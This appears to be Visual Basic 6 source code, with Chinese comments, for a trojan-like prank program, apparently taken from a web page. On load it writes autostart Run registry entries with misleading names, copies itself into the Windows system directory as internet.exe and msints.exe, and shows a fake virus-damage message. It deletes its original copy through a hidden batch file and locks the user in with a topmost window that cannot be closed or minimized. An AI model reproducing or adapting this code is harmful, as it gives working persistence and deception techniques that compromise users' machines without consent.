''''读写注册表
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

''''窗体总在最前
Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const HWND_TOPMOST = -1

''''查找系统目录
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Const MAX_PATH = 260

''''去掉关闭按钮
Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long
Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Long) As Long
Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long

Private Const MF_BYPOSITION = &H400&
Private Const MF_DISABLED = &H2&

Dim ExitButton As Boolean

''''取得windows目录
Function GetWinPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetWinPath = ""
    End If
End Function

''''取得system目录
Function GetSystemPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetSystemPath = ""
    End If
End Function

''''文件是否存在
Function FileExists(filename As String) As Integer
On Error Resume Next
    Dim i As Integer
    i = Len(Dir$(filename))
    If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

''''延时
Private Sub delay(ByVal n As Single)
    Dim tm1 As Single, tm2 As Single
    tm1 = Timer
    Do
        tm2 = Timer
        If tm2 < tm1 Then tm2 = tm2 + 86400
        If tm2 - tm1 > n Then Exit Do
        DoEvents
    Loop
End Sub

''''去掉关闭按钮
Private Sub DisableX(Frm As Form)
    Dim hMenu As Long, nCount As Long
    hMenu = GetSystemMenu(Frm.hwnd, 0)
    nCount = GetMenuItemCount(hMenu)
    Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)
    DrawMenuBar Frm.hwnd
End Sub

Private Sub Form_Load()
On Error Resume Next
    Dim mePath As String
    Dim hKey As Long
    Dim strCmd As String
    Dim strRunCmd As String
   
    mePath = App.Path
    If Right(mePath, 1) <> "\" Then mePath = mePath & "\"
   
    If App.PrevInstance Then End
   
    ''''写入注册表
    strRunCmd = "internet.exe"
    Call RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
    Call RegSetValueEx(hKey, "system", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
    Call RegCloseKey(hKey)
   
    strRunCmd = "msints.exe"
    Call RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
    Call RegSetValueEx(hKey, "MsIDE", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
    Call RegCloseKey(hKey)

    ''''复制自己
    Dim SourceFile, DestinationFile
    If FileExists(GetSystemPath & "\internet.exe") = 0 Then
        SourceFile = mePath & App.EXEName & ".exe"
        DestinationFile = GetSystemPath & "\internet.exe"
        FileCopy SourceFile, DestinationFile
       
        SourceFile = mePath & App.EXEName & ".exe"
        DestinationFile = GetSystemPath & "\msints.exe"
        FileCopy SourceFile, DestinationFile
    End If
   
    ''''检查程序是否在系统目录下
    If UCase$(App.Path) <> UCase$(GetSystemPath) Then
        MsgBox "程序代码不完整或系统出现错误，程序可能已被病毒破坏。", vbOKOnly
        Open GetWinPath & "\killme.bat" For Append As #1
        Print #1, "@echo off"
        Print #1, "dir " & GetSystemPath & " /w"
        Print #1, "del " & mePath & App.EXEName & ".exe"
        Print #1, "del " & GetWinPath & "\killme.bat"
        Close #1
        Shell "killme.bat", vbHide
        End
    End If
   
    ''''后备程序
    If UCase$(App.EXEName & ".exe") = UCase$("msints.exe") Then End
   
    Frame1.Top = 120
    Frame1.Left = 1080
    Frame2.Top = 120
    Frame2.Left = 1080
    Frame2.Visible = False
       
    Call DisableX(Me)
    ''''窗体总在最前
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
End Sub

Private Sub Form_Resize()
    ''''程序被最小化时返回初始状态
    If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
    ''''禁止程序退出
   If Not ExitButton Then Cancel = True
End Sub

Private Sub cmdSure_Click()
    Frame1.Visible = False
    Frame2.Visible = True
    delay 30
    Frame1.Visible = True
    Frame2.Visible = False
End Sub

Private Sub Label2_Click()
    End
End Sub

上一页  [1] [2] [3]